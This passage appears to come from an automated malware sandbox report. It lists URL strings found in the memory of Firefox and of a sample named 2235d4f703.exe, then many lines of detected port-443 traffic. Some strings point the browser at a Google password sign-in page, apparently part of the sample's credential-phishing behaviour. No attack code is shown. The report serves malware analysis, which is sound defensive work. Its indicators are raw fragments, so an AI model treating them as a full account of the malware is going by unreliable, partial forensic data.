Source: firefox.exe, 00000019.00000003.2809217950.000002349597F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3045686159.000002348B7F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.fr/
Source: firefox.exe, 00000019.00000002.2959811201.00000234898E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.avito.ru/
Source: firefox.exe, 00000019.00000002.2959811201.00000234898E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/
Source: firefox.exe, 00000019.00000002.3045686159.000002348B7F8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2809217950.000002349598F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bbc.co.uk/
Source: firefox.exe, 00000019.00000002.2959811201.00000234898E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ctrip.com/
Source: firefox.exe, 00000019.00000003.2809217950.000002349597F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3045686159.000002348B7F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.de/
Source: 2235d4f703.exe, 00000009.00000003.2602738583.000000000589B000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2602569883.000000000589D000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2733313298.0000000005B3E000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2733601520.0000000005B3C000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2733441529.0000000005B3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 2235d4f703.exe, 00000009.00000003.2660788882.0000000005854000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2790096589.0000000005B03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3045686159.000002348B7B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2972813755.000002348A461000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2972813755.000002348A403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: firefox.exe, 00000019.00000002.2972813755.000002348A40F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: firefox.exe, 00000019.00000002.2959811201.00000234898E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2754638273.000002348D33E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: 2235d4f703.exe, 00000009.00000003.2602738583.000000000589B000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2602569883.000000000589D000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2733313298.0000000005B3E000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2733601520.0000000005B3C000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2733441529.0000000005B3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 00000019.00000002.2959811201.0000023489826000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2751068754.000002348D100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2755601551.000002348D37B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2754071325.000002348D320000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2754638273.000002348D33E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2851793523.000002348D959000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
Source: firefox.exe, 00000019.00000002.2959811201.00000234898E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ifeng.com/
Source: firefox.exe, 00000019.00000002.3045686159.000002348B7F8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2809217950.000002349598F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2959811201.00000234898E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/
Source: firefox.exe, 00000019.00000002.2959811201.00000234898E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/UPDATE
Source: firefox.exe, 00000019.00000002.3045686159.000002348B7F8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2809217950.000002349598F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.leboncoin.fr/
Source: firefox.exe, 00000019.00000002.3027734740.000002348AC27000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2972813755.000002348A452000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2832846833.000002349599B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2937859220.000000ADEF1AC000.00000004.00000010.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2832846833.000002349599D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tour/
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/geolocation/
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/xr/
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
Source: firefox.exe, 00000019.00000003.2848449096.000002348E7F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: firefox.exe, 00000019.00000003.2848449096.000002348E7F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: 2235d4f703.exe, 00000009.00000003.2659455173.000000000597D000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2789180940.0000000005C10000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2848449096.000002348E7F3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2849740014.000002348E738000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: firefox.exe, 00000019.00000003.2848449096.000002348E7F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/android/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#crash-reporter
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
Source: firefox.exe, 00000019.00000002.3045686159.000002348B7B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2972813755.000002348A403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: 2235d4f703.exe, 00000009.00000003.2659455173.000000000597D000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2789180940.0000000005C10000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2848449096.000002348E7F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: firefox.exe, 00000019.00000002.2937859220.000000ADEF1AC000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.orgo
Source: firefox.exe, 00000019.00000003.2834797644.00000234955CB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3045686159.000002348B7F8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2809217950.000002349598F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.olx.pl/
Source: firefox.exe, 00000019.00000002.2959811201.00000234898AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 00000019.00000002.3045686159.000002348B7B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2809217950.000002349597F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2972813755.000002348A461000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3045686159.000002348B7F8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2972813755.000002348A403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2809217950.000002349598F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 00000019.00000003.2809217950.000002349597F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3045686159.000002348B7F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.wykop.pl/
Source: firefox.exe, 00000019.00000002.2959811201.00000234898E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 00000019.00000002.2959811201.00000234898E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 00000019.00000002.3038902063.000002348AEF0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warningThe
Source: firefox.exe, 00000019.00000002.3045686159.000002348B76D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2809785226.000002348FBFB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2848146968.000002348E812000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 00000019.00000003.2851593138.000002348DAAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3045686159.000002348B76D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/
Source: firefox.exe, 00000019.00000003.2846711290.000002348E825000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2929719556.000000ADEE1D8000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000017.00000002.2737298674.00000204D2F50000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2747148103.0000029D516CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdTrue
Source: firefox.exe, 00000019.00000002.2959811201.00000234898E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdextensions.formautof

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50154 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 50119 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50142 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50178 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50153 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 50187 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 50144 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50176 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 50166 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 50143 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 50188 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
